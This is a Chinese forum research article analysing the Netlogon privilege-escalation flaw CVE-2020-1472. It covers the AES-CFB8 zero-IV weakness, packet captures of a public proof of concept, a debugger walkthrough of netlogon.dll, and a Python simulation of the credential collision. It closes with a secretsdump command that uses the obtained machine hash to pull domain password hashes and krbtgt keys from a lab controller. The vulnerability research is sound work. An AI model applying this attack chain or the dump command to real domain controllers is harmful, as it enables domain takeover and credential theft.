首页
论坛
课程
招聘
[原创]CVE-2020-1472 NetLogon 权限提升漏洞研究
2020-12-10 18:21 5461

[原创]CVE-2020-1472 NetLogon 权限提升漏洞研究

2020-12-10 18:21
5461

漏洞简讯

CVE-2020-1472 NetLogon 权限提升漏洞是微软8月份发布安全公告披露的紧急漏洞,CVSS漏洞评分10分,漏洞利用后果严重,未经身份认证的攻击者可通过使用 Netlogon 远程协议(MS-NRPC)连接域控制器来利用此漏洞。成功利用此漏洞的攻击者可获得域管理员访问权限。

协议分析

Netlogon 服务用于维护计算机与对域中的用户和其他服务进行身份验证的域控制器之间的安全通道,Netlogon 客户端和服务端之间通过RPC调用来进行通信。在进行正式通信之前,双方需进行身份认证并协商出一个 SessionKey。SessionKey 将用于保护双方后续 RPC 通信流量。以下为 Netlogon 身份验证握手流程:

 

 

首先由客户端发起挑战(传送Client challenge),服务端响应Server challenge,然后双方都使用共享的密钥以及来自双方的 challenges 进行计算得到 SessionKey,这样双方就拥有了相同的 SessionKey 以及 Client challenge 和 Server challenge。然后客户端使用 SessionKey 作为密钥加密 Client challenge 得到 Client credential 并发送给服务端,服务端也采用相同的方法计算出一个 Client credential,比较这两者是否相同,如果相同,则客户端身份认证成功,然后双方对调来验证服务端的 Server credential,如果成功,则说明双方身份认证成功且拥有相同的 SessionKey,后续可采用该密钥进行加密和完整性保护。

  • SessionKey 计算过程
    如果双方协商了AES support,就会采用 HMAC-SHA256 算法来计算 SessionKey,具体流程如下:

    使用MD4算法对密码的 Unicode 字符串进行散列得到 M4SS,然后以 M4SS 为密钥采用 HMAC-SHA256 算法对 ClientChallenge + ServerChallenge 进行哈希得到 SessionKey,取 SessionKey 的低16个字节作为最终的 SessionKey。

    1
    2
    3
    4
    5
    6
    7
    8
    ComputeSessionKey(SharedSecret, ClientChallenge,
    ServerChallenge)
    M4SS := MD4(UNICODE(SharedSecret))
    CALL SHA256Reset(HashContext, M4SS, sizeof(M4SS));
    CALL SHA256Input(HashContext, ClientChallenge, sizeof(ClientChallenge));
    CALL SHA256FinalBits (HashContext, ServerChallenge, sizeof(ServerChallenge));
    CALL SHA256Result(HashContext, SessionKey);
    SET SessionKey to lower 16 bytes of the SessionKey;
  • Credential 计算过程
    如果双方协商了AES support,后续会采用 AES-128 加密算法在 8 位 CFB 模式下计算 Credential(来自MS-NRPC文档)。 其计算过程大致如下:

    在 ComputeNetlogonCredential 函数中将 IV 初始化为 0,Input 接收 Challenge,使用 IV、SessionKey 对 Input 进行加密,AesEncrypt 使用的算法为 8 位 CFB 模式的 AES-128。

    1
    2
    3
    ComputeNetlogonCredential(Input, SessionKey, Output)
    SET IV = 0
    CALL AesEncrypt(Input, SessionKey, IV, Output)

下面来插播一下 AES-CFB8 算法,如下所示:

 

首先初始化随机 IV(16字节),对 IV 进行 AES 运算,将结果的第一个字节与 PLAINTEXT(可对应上面算法的 Input) 的下一个字节进行异或,将异或结果放在 IV 末尾,IV 整体向前移1位。然后重复上述 "加密->异或->移位" 操作,直到取出了 PLAINTEXT 中的所有字节。最后得到 CIPHERTEXT(对应上面算法的 Output,其长度与 Input 相同)。

 

 

然而,Netlogon 在计算 Credential 的过程中直接将 IV 初始化为 0,这会使 AES-CFB8 算法更加脆弱,Secura 的研究人员在阅读 Microsoft 文档时发现了这个安全问题。由于在认证过程中 SessionKey 是随机的 (至少 ServerChallenge 是随机的,所以 SessionKey 一定是随机的),因而对 IV 进行 AES 块加密得到的结果也是随机的,但只有结果中的第一个字节有机会参与后续运算,这个字节为 X 的概率为 1/256(一个字节可能的结果为 0 ~ 255)。那么我们假设第一轮 IV(全0) 加密结果的第一个字节为 X,我们就知道全 0 的输入可以获得输出 X ,因而我们可以构造 Challenge 为 XXXXXXXY,使得每一次异或的结果都为 0(除了最后一次,最后一位不参与加密运算),因为每一次加密结果的第一个字节都是 X,与 X 进行异或还是 0 ,因而每一轮的 "IV" 还是全 0 的。这样加密结果是可以预测的,我们可以得到一个确定的 Credential:00 00 00 00 00 00 00 (X Xor Y)。因而在平均 256 次尝试之后,可以成功使用 00 00 00 00 00 00 00 (X Xor Y) 模式的 Credential 欺骗服务器认证通过而无需知道真正的密码以及 SessionKey,利用的关键是获得一个对全 0 IV 进行加密之后得到结果的第一字节为 X 的环境。POC 中选择将 X、Y 设置为 0,如下所示:

 

  • Authenticator 认证
    在协商出 SessionKey 后,客户端就可以申请远程调用了,如 POC 中使用的 NetrServerPasswordSet2,这也是简略流程图中的最后一步。除了 NetrLogonSamLogonEx 之外,所有需要安全通道的调用都将使用 Netlogon Authenticator。Authenticator 结构如下所示,包括 8 字节的 Credential 和 4 字节的 Timestamp。
    1
    2
    3
    4
    5
    typedef struct _NETLOGON_AUTHENTICATOR {
     NETLOGON_CREDENTIAL Credential;
     DWORD Timestamp;
    } NETLOGON_AUTHENTICATOR,
    *PNETLOGON_AUTHENTICATOR;
    客户端在每次发送新请求时,都会记录当前时间戳(ClientAuthenticator.Timestamp,表示自1970年1月1日(UTC)00:00:00起的秒数),然后更新 ClientCredential(之前的 ClientCredential 加 Timestamp),然后以 SessionKey 为密钥使用之前协商的加密算法计算出 ClientAuthenticator.Credential,之后将 Authenticator 附在调用请求中一起发送给服务端。
    1
    2
    3
    4
    5
    SET TimeNow = current time;
    SET ClientAuthenticator.Timestamp = TimeNow;
    SET ClientStoredCredential = ClientStoredCredential + TimeNow;
    CALL ComputeNetlogonCredential(ClientStoredCredential,
    Session-Key, ClientAuthenticator.Credential);
    服务端接收到请求后将采用相同的步骤计算 TempCredential( ClientCredential 和 SessionKey 是一致的),比较 TempCredential 和 客户端发来的 ClientAuthenticator.Credential 是否一致,一致则通过客户端认证。然后服务端将 ClientCredential 加1之后进行同样的运算,得到 ServerAuthenticator.Credential ,将 Authenticator 附在响应包中。
    1
    2
    3
    4
    5
    6
    7
    8
    SET ServerStoredCredential = ServerStoredCredential + ClientAuthenticator.Timestamp;
    CALL ComputeNetlogonCredential(ServerStoredCredential,
    Session-Key, TempCredential);
    IF TempCredential != ClientAuthenticator.Credential
    THEN return access denied error
    SET ServerStoredCredential = ServerStoredCredential + 1;
    CALL ComputeNetlogonCredential(ServerStoredCredential,
    Session-Key, ServerAuthenticator.Credential);
    然后客户端更新 ClientCredential(自加1),进行同样的运算得到 TempCredential ,判断 TempCredential 和服务端发来的 ServerAuthenticator.Credential 是否一致,一致则通过认证,否则重新建立安全通道。
    1
    2
    3
    4
    5
    SET ClientStoredCredential = ClientStoredCredential + 1;
    CALL ComputeNetlogonCredential(ClientStoredCredential,
    Session-Key, TempCredential);
    IF TempCredential != ServerAuthenticator.Credential
    THEN return abort

POC复现分析

使用公开的POC进行漏洞复现,如下所示,目标系统存在该漏洞,密码成功被置为空。

 

 

同时使用Wireshark抓包,前面说过 Netlogon 采用 RPC(Remote Procedure Call Protocol,远程过程调用协议)来进行通信。RPC 是一种通过网络从远程计算机程序上请求服务而不需要了解底层网络技术的协议。RPC 允许用户在程序中调用一个函数,而这个函数将在另外一个或多个远程机器上执行,并将结果返回给最初进行 RPC 调用的机器,在这个过程中RPC体系会替用户完成网络上连接建立、会话握手、用户验证、参数传递、结果返回等细节问题,使得远程过程调用和本地函数调用一样方便。因而,我们直接关注用户验证阶段就好。

 

注意 NetrServerReqChallenge 和 NetrServerAuthenticate3 请求&响应包,直接翻到最后一组。NetrServerReqChallenge 请求包将 Server Handle、Computer Name 以及 Client Challenge 序列化数据发送至服务端,其中,Client Challenge 为 "00 00 00 00 00 00 00 00"。

 

 

服务端返回 Server Challenge 为 "7a 06 53 36 16 8d 5f 78"。

 

 

发送 NetrServerAuthenticate3 请求,传送 Server Handle、Client Credential、Negotiation options等参数,Client Credential 依旧还是 "00 00 00 00 00 00 00 00"。其实,在每次尝试中 Client Challenge、Client Credential 都是 8 字节全零数据,只有最后一次认证成功了(成功了就不用尝试了呢)。

 

 

这次,服务端返回认证成功的代码(STATUS_SUCCESS),Server Credential 和服务端身份认证相关,不必关注。只需要记得这次使得身份认证成功的 Server Challenge 为 "7a 06 53 36 16 8d 5f 78" 就好,后面会有个小验证。

 

 

再接下来是发送 NetrServerPasswordSet2 请求,如下图所示,参数为 Server Handle(PrimaryName),还有一些 Wireshark 没有识别出来的参数 AccountName、SecureChannelType、ComputerName、Authenticator、ClearNewPassword,我按照格式用不同颜色的笔标记出来了,其中,Authenticator 和 ClearNewPassword 都是全 0 的:

 

 

然后服务端返回其 Authenticator,至此密码已成功被置为空。

 

逆向分析

POC中先后调用了 NetrServerReqChallenge 函数和 NetrServerAuthenticate3 函数。因而,服务端会通过 NetrServerReqChallenge 函数接收 ClientChallenge 并生成 ServerChallenge,在接收到 NetrServerAuthenticate3 请求后会调用 NetrServerAuthenticate3 函数进行认证。以下为两个函数原型,可对比抓包数据来看,其中,in 和 out 分别对应了客户端和服务端请求响应的参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
NTSTATUS NetrServerReqChallenge(
 [in, unique, string] LOGONSRV_HANDLE PrimaryName,
 [in, string] wchar_t* ComputerName,
 [in] PNETLOGON_CREDENTIAL ClientChallenge,
 [out] PNETLOGON_CREDENTIAL ServerChallenge
);
 
NTSTATUS NetrServerAuthenticate3(
 [in, unique, string] LOGONSRV_HANDLE PrimaryName,
 [in, string] wchar_t* AccountName,
 [in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType,
 [in, string] wchar_t* ComputerName,
 [in] PNETLOGON_CREDENTIAL ClientCredential,
 [out] PNETLOGON_CREDENTIAL ServerCredential,
 [in, out] ULONG * NegotiateFlags,
 [out] ULONG * AccountRid
);

重点来看服务端对客户端身份认证环节,在 NetrServerAuthenticate3 函数中会调用 NlMakeSessionKey 函数计算 SessionKey,然后调用 NlComputeCredentials 函数计算 ClientCredential,比较客户端发来的 ClientCredential 和自己计算出来的是否相同。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//NetrServerAuthenticate3
  _mm_store_si128((__m128i *)&v58, v23);    // v58 => md4(unicode(secret))
  LODWORD(v45) = NlMakeSessionKey(flags, (__int64)&v58, (__int64)CC, (__int64)SC);    // 这里计算SessionKey
  if ( (signed int)v45 < 0 )
  {
    NlPrintDomRoutine(
      0x100u,
      (__int64)v9,
      (__int64)L"NetrServerAuthenticate: Can't NlMakeSessionKey for %ws 0x%lx.\n",
      (__int64)v7);
      RtlLeaveCriticalSection(&NlGlobalChallengeCritSect);
      goto LABEL_59;
   }
  NlPrintRoutine(0x4000000u, (__int64)L"NetrServerAuthenticate: SessionKey %lu = ", v22, v25);
  NlpDumpBuffer(0x4000000, (__int64)&SessionKey, 0x10u);
  NlComputeCredentials(CC, pbOutput, &SessionKey, *&flag);    // 这里计算ClientCredential
  NlPrintRoutine(0x4000000u, (__int64)L"NetrServerAuthenticate: ClientCredential %lu GOT  = ", v22, v26);
  NlpDumpBuffer(0x4000000, 0i64, 8u);
  NlPrintRoutine(0x4000000u, (__int64)L"NetrServerAuthenticate: ClientCredential %lu MADE = ", v22, v27);
  NlpDumpBuffer(0x4000000, (__int64)pbOutput, 8u);
  if ( v0 == *(_QWORD *)pbOutput )    //验证接收的ClientCredential和刚计算出的是否相等
 
1: kd> p
netlogon!NetrServerAuthenticate3+0x399:
00007ffb`0df74799 488b4580        mov     rax,qword ptr [rbp-80h]
1: kd>
netlogon!NetrServerAuthenticate3+0x39d:
00007ffb`0df7479d 488b00          mov     rax,qword ptr [rax]
1: kd>
netlogon!NetrServerAuthenticate3+0x3a0:
00007ffb`0df747a0 483b45b0        cmp     rax,qword ptr [rbp-50h]
1: kd> db poi(rbp-80) l8
00000083`db04efc8  00 00 00 00 00 00 00 00                          ........
1: kd> db rbp-50 l8
00000083`db7de780  99 8f 65 7c 7e 91 e0 99                          ..e|~...

在计算 ClientCredential 的过程中会调用 SymCryptCfbEncrypt 函数进行 AES-CFB8 运算,如下所示,会循环调用 SymCryptAesEncrypt 函数对数据块进行加密, IV 被初始化为 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
//SymCryptCfbEncrypt
 
  if ( num_8 >= num_1 )                         // a2=1
  {
    v9 = vars30;
    num_f = v4 - num_1;                         // f
    v11 = v5 - vars30;                          // vars38 - vars30 当然是8
    do
    {
      (*(void (__fastcall **)(__int64, char *, char *))(v22 + 8))(SessionKey, IV, &Src);// SymCryptAesEncrypt,结果保存在src中
 
      v12 = num_1;
      pSrc1 = &Src;
      pSrc2 = &Src;
      plaintext = (char *)v9;                   // 指向CC,vars38存放运算结果
      ......
      if ( v12 )
      {
        v16 = plaintext - pSrc2;                // 计算plaintext相对于src的偏移
        v17 = pSrc1 - pSrc2;                    // 在CFB8中这个值就是0
        do
        {
          pSrc2[v17] = *pSrc2 ^ pSrc2[v16];     // 将加密结果的第一个字节和下一个字节异或( plaintext 的下一个字节),并放回src
          ++pSrc2;
          --v12;
        }
        while ( v12 );
      }
      memcpy_0((void *)(v11 + v9), &Src, num_1);// 从vars38开始放入运算结果 ++
      memmove(IV, &IV[num_1], num_f);           // 整体向前移一位
      memcpy_0(&IV[num_f], &Src, num_1);        // 把加密结果的第一个字符放在末尾
      v8 -= num_1;
      v9 += num_1;
    }
    while ( v8 >= num_1 );
    v7 = v23;
  }
  return memcpy_0(v7, IV, v4);    //将最终结果复制到 v7 指向的内存
}
 
1: kd>
bcryptPrimitives!SymCryptCfbEncrypt+0x85:
00007ffb`0e6a9d19 41ff5708        call    qword ptr [r15+8]
1: kd> db rdx l10
00000083`db7de2a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

将上述流程使用 python 实现,设置 Client Challenge 为 41 41 41 41 41 41 41 41(即 X 为 0x41,Y 为 0),随机生成 Server Challenge,打印每次的 SessionKey 和 ClientCredential,看会不会出现全 0 的 ClientCredential:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from Crypto.Hash import MD4
from Crypto.Cipher import AES
from termcolor import colored
import os, hmac, hashlib, struct
 
def getSessionKey(CC):
 
    SC = os.urandom(8)
    hstring = CC + SC
 
    secret = "testtest"    #密码我换了的
    u_secret = unicode_str(secret)
    hkey = MD4.new(data = u_secret).digest()
    #print "test hkey:",print_func(hkey)
 
    SessionKey =  hmac.new(hkey, hstring, hashlib.sha256).digest()[:16]
 
    #print "sessionkey",print_func(SessionKey)
    return SessionKey
 
def AES_128_CFB(Key,iv,String):
    cryptor = AES.new(key=Key, mode=AES.MODE_CFB, IV=iv,segment_size=128)
    ciphertext = cryptor.encrypt(String)
    return str(ciphertext)[0]
 
def unicode_str(sstr):
 
    res = ""
    for i in sstr:
        res += i
        res += "\x00"
    return res
 
def print_func(string):
 
    res = ""
 
    for i in range(len(string)):
        hexnum = hex(struct.unpack("B", string[i])[0])[2:]
        if len(hexnum) == 1:
            hexnum = "0" + hexnum
        res += hexnum
 
    return res
 
def vuln_func(SessionKey,challenge):
    ClientCredential = ""
    iv = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    string = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
 
    for i in range(8):
        res = AES_128_CFB(SessionKey,iv,string)
        insert_byte = struct.pack("B",struct.unpack("B",res)[0] ^ struct.unpack("B",challenge[i])[0])
        iv = iv[1:] + insert_byte
        ClientCredential += insert_byte
 
    text = "[*]SessionKey:" + print_func(SessionKey) + "    ClientCredential:" + print_func(ClientCredential)
 
    if ClientCredential.startswith('\x00'):
        print colored(text,'red')
        return True
    else:
        print colored(text,'blue')
 
    return False
 
if __name__ == "__main__":
 
    total = 0
 
    for t in range(2000):    #可以改小一些
        for i in range(2000):
            challenge = "\x41\x41\x41\x41\x41\x41\x41\x41"
            SessionKey = getSessionKey(challenge)
            if vuln_func(SessionKey,challenge):
                total += i+1
                print "[*] The number of attempts({}): {}".format(str(t+1),str(i+1))
                break
 
    print "[+] Average times: "+ str(total/2000)    #可以改小一些

在经过 2000 次测试之后,发现成功需要平均的次数为 252,已经很接近 256 了,理论上测试次数越多越接近 256。幸运的是,在每一次测试中都在 2000 次之内得到了全 0 的 ClientCredential。

 

 

稍微修改一下代码,对抓包得到的 Server Challenge 进行测试,可发现成功得到全 0 的 Client Credential,服务端计算的 Authenticator.Credential 为 01 55 c7 b5 50 3b 23 ab(和抓包数据相吻合)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
➜  Desktop python testnetlogon1.py
[*] Client Challenge: 0000000000000000
[*] Server Challenge: 7a065336168d5f78
[+] SessionKey: efe82ad49b32db0d314849584b99dc5e
[1] 00ca04acf89b3eb567f91faad0131ab3
[2] 00ca04acf89b3eb567f91faad0131ab3
[3] 00ca04acf89b3eb567f91faad0131ab3
[4] 00ca04acf89b3eb567f91faad0131ab3
[5] 00ca04acf89b3eb567f91faad0131ab3
[6] 00ca04acf89b3eb567f91faad0131ab3
[7] 00ca04acf89b3eb567f91faad0131ab3
[8] 00ca04acf89b3eb567f91faad0131ab3
[*] ClientCredential:0000000000000000
 
[*] Server Stored Credential: 0100000000000000    //Wireshark 错误的解析把人坑好久
[1] 00ca04acf89b3eb567f91faad0131ab3
[2] 5541e42375fc6a76440a0575e86727bd
[3] c7f5d8d02b703afe4cfddfe68b63d91a
[4] b5731a798077a5e122b3ea2305f04181
[5] 5038e1dd5db1746134767bcb014a373c
[6] 3b531976aba0916774c2c6a5e7122fcf
[7] 23170bb99d58140cbd060de43c01f385
[8] ab0452ae6e8dcfd950ee35c83049cd33
[*] TempCredential:0155c7b5503b23ab

POC 中的下一步是调用 NetrServerPasswordSet2 将密码置空,以下为 NetrServerPasswordSet2 函数原型,在该函数调用请求中需要提交 Authenticator 认证数据(NETLOGON_AUTHENTICATOR 结构)以及 ClearNewPassword 数据(NL_TRUST_PASSWORD 结构)。

1
2
3
4
5
6
7
8
9
NTSTATUS NetrServerPasswordSet2(
  [in, unique, string] LOGONSRV_HANDLE PrimaryName,
  [in, string] wchar_t* AccountName,
  [in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType,
  [in, string] wchar_t* ComputerName,
  [in] PNETLOGON_AUTHENTICATOR Authenticator,
  [out] PNETLOGON_AUTHENTICATOR ReturnAuthenticator,
  [in] PNL_TRUST_PASSWORD ClearNewPassword
);

NETLOGON_AUTHENTICATOR 前面介绍过,包括计算得到的 Credential 和当前的 Timestamp;NL_TRUST_PASSWORD 结构体中包括 Buffer(Unicode类型,512 字节)和 4 字节的 Length(指明 Password 长度)。

1
2
3
4
5
6
7
8
9
10
11
typedef struct _NETLOGON_AUTHENTICATOR {
  NETLOGON_CREDENTIAL Credential;
  DWORD Timestamp;
} NETLOGON_AUTHENTICATOR,
 *PNETLOGON_AUTHENTICATOR;
 
typedef struct _NL_TRUST_PASSWORD {
  WCHAR Buffer[256];
  ULONG Length;
} NL_TRUST_PASSWORD,
 *PNL_TRUST_PASSWORD;

如果表示计算机账户密码,Buffer 中的前 512 - Length 个字节必须为随机数,作为加密熵源,后面 Length 个字节为密码。

 

 

服务端在获取到客户端发送的 Authenticator 中的 timestamp 后,只是判断该值是否为0xFFFFFFFF,如果不是的话就直接使用用户发送的 timestamp 进行后续计算(计算过程前面已经分析过)。如下所示,在 netlogon!NlCheckAuthenticator 函数中验证Authenticator,采用 NlComputeCredentials 函数计算 Credential,由于还是使用同一条件下的算法(相同的 IV 和 SessionKey),因而使用和之前 Client Challenge 相同的输入依然可以得到全 0 输出,POC 中使用的 timestamp 还是0,这样 timestamp 加上之前计算得到的 Credential 后还是全 0 的,计算出的 TempCredential 也还是全 0,这样我们使用 00 00 00 00 00 00 00 00 的 Authenticator.Credential 就可以通过验证。由于 timestamp 的长度为 4 个字节,因而在前面的模式中只有 X 取 0 的情况下可以通过验证,即 Client Challenge、Client Credential、Authenticator.Credential 都为 00 00 00 00 00 00 00 Y,Authenticator.timestamp 为 0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//NlCheckAuthenticator
  NlPrintRoutine(0x4000000i64, L"NlCheckAuthenticator: Time = ");
  NlpDumpBuffer(0x4000000i64, ClientAuthenticator + 8, 4i64);    // 4 字节的 timestamp
  timestamp = *(_DWORD *)(ClientAuthenticator + 8);// timestamp
  if ( timestamp == -1 )
  {
    NlPrintRoutine(
      256i64,
      L"NlCheckAuthenticator: potentially malicious client is calling with timestamp of 0xffffffff\n");
  }
 
  else    //校验客户端的 Authenticator && 计算自己的 Authenticator
  {
    *ServerStoredCredential += timestamp;
    NlPrintRoutine(0x4000000i64, L"NlCheckAuthenticator: Seed + TIME = ");
    NlpDumpBuffer(0x4000000i64, v4 + 0x98, 8i64);
    NlComputeCredentials((PUCHAR)(v4 + 0x98), TempCredential, (PUCHAR)(v4 + 0xA0), *(_DWORD *)(v4 + 0x8C));// 计算 TempCredential
    NlPrintRoutine(0x4000000i64, L"NlCheckAuthenticator: Client Authenticator MADE = ");
    NlpDumpBuffer(0x4000000i64, TempCredential, 8i64);
    if ( *(_QWORD *)ClientAuthenticator == *(_QWORD *)TempCredential )
    {
      v8 = *(_DWORD *)(v4 + 0x8C);
      ++*ServerStoredCredential;
      NlComputeCredentials((PUCHAR)(v4 + 0x98), ServerAuthenticator.Credential, (PUCHAR)(v4 + 0xA0), v8);
      NlPrintRoutine(0x4000000i64, L"NlCheckAuthenticator: Server Authenticator SEND = ");
      NlpDumpBuffer(0x4000000i64, ServerAuthenticator.Credential, 8i64);
      NlPrintRoutine(0x4000000i64, L"NlCheckAuthenticator: Seed + time + 1= ");
      NlpDumpBuffer(0x4000000i64, v4 + 0x98, 8i64);
      *(_WORD *)(v4 + 0x88) = 0;
      *(_WORD *)(v4 + 0x8A) &= 0xFBFFu;
      *(_WORD *)(v4 + 0x78) = 0;
      return 0i64;
    }
  }

Authenticator 认证通过后会调用 NlDecrypt 函数对 TRUST_PASSWORD 进行 8 位 CFB 模式 AES-128 解密,在进行一些判断后会调用 NlSetIncomingPassword -> NlSamChangePasswordNamedUser -> SamISetMachinePassword 设置密码。以下为测试,随意填充 ClearNewPassword 结构,这里我将密码长度设置为 0x10,密码为 "testtest" ,其余数据用 00 填充(应该是随机数)。理论上这个结构应该进行 8 位 CFB 模式的 AES-128 加密,但我们不知道原来的密码,也算不出 SessionKey,所以干脆就这样啦。解密之后长度变成了 0xc6e8ca2,由于后面会有是否大于 0x200 的判断,将其手动修改为 0x10,然后继续运行程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
1: kd> g
Breakpoint 0 hit
netlogon!NetpServerPasswordSet+0x2b9:
00007ffb`0e001159 e8526e0000      call    netlogon!NlDecrypt (00007ffb`0e007fb0)
1: kd> db rcx l204
DBGHELP: SharedUserData - virtual symbol module
00000083`da84e430  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e440  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e450  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e460  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e470  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e480  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e490  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e4a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e4b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e4c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e4d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e4e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e4f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e500  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e510  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e520  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e530  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e540  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e550  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e560  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e570  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e580  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e590  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e5a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e5b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e5c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e5d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e5e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e5f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e600  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e610  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000083`da84e620  74 00 65 00 73 00 74 00-74 00 65 00 73 00 74 00  t.e.s.t.t.e.s.t.    //理论上是 Unicode 密码加密后的结果
00000083`da84e630  10 00 00 00                                      ....                // 加密前 Unicode 密码长度
1: kd> p
netlogon!NetpServerPasswordSet+0x2be:
00007ffb`0e00115e 448b8d90010000  mov     r9d,dword ptr [rbp+190h]
1: kd> db 00000083`da84e620     //解密后的数据,长度变成了 0xc6e8ca2
00000083`da84e620  74 7d 5d be 3e 03 af cc-2e cb b8 52 1c 4b af f5  t}].>......R.K..
00000083`da84e630  a2 8c 6e c0 83 00 00 00-00 4e f7 0d fb 7f 00 00  ..n......N......
00000083`da84e640  00 ec 84 da 83 00 00 00-18 8d 30 db 83 00 00 00  ..........0.....
00000083`da84e650  87 a7 43 c4 73 a1 23 4f-77 12 88 bf c4 d4 04 90  ..C.s.#Ow.......
00000083`da84e660  ff ff 2f 21 00 00 00 00-0c 40 f7 23 04 19 bb 84  ../!.....@.#....
00000083`da84e670  68 75 b4 7f 66 9f 7d 87-e6 89 31 81 7d b4 00 00  hu..f.}...1.}...
00000083`da84e680  d0 eb 84 da 83 00 00 00-52 fd f7 0d fb 7f 00 00  ........R.......
00000083`da84e690  d0 eb 84 da 83 00 00 00-68 fd f7 0d fb 7f 00 00  ........h.......
1: kd> ed 83`da84e630 10    //由于后面有 cmp r9d, 200h 判断,手动将其改为 0x10

解密后的密码为 "74 7d 5d be 3e 03 af cc 2e cb b8 52 1c 4b af f5",使用 MD4 散列算法进行运算得到 2d7091de951698701d2c34e3ccec0596,使用此哈希可从域控制器中复制用户凭据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
➜ Desktop python3 secretsdump.py -hashes :2d7091de951698701d2c34e3ccec0596 'WIN-NI3V5MRI9L6$@192.168.147.222'
Impacket v0.9.22.dev1+20200924.183326.65cf657f - Copyright 2020 SecureAuth Corporation
 
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d6ff87a3a1f9e671efea338c4fc53e65:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f15c5d3dc5d24c3587e19ed2bade3e29:::
yyyyyyyyt:1001:aad3b435b51404eeaad3b435b51404ee:d6ff87a3a1f9e671efea338c4fc53e65:::
WIN-NI3V5MRI9L6$:1002:aad3b435b51404eeaad3b435b51404ee:2d7091de951698701d2c34e3ccec0596:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:1358483816cf1723cb1c084bf1833dcd7d72cfb07cd383408ba238306ea6b580
krbtgt:aes128-cts-hmac-sha1-96:de0d4bda473745a0a696b13c69f4584f
krbtgt:des-cbc-md5:b60bfbb06ba42562
yyyyyyyyt:aes256-cts-hmac-sha1-96:dd34bd0d9a4adb2a7f0cb35f0033035b0cdae21197a41147a7b07ed0681a5a7c
yyyyyyyyt:aes128-cts-hmac-sha1-96:f46c8f546161b1082cd11d6db1c48aa4
yyyyyyyyt:des-cbc-md5:fdfbb9f170a279f4
WIN-NI3V5MRI9L6$:aes256-cts-hmac-sha1-96:f38f0684cb0a99c72741206e8a0727d0f2486dbe8b1899c9169e7eb4e7552c24
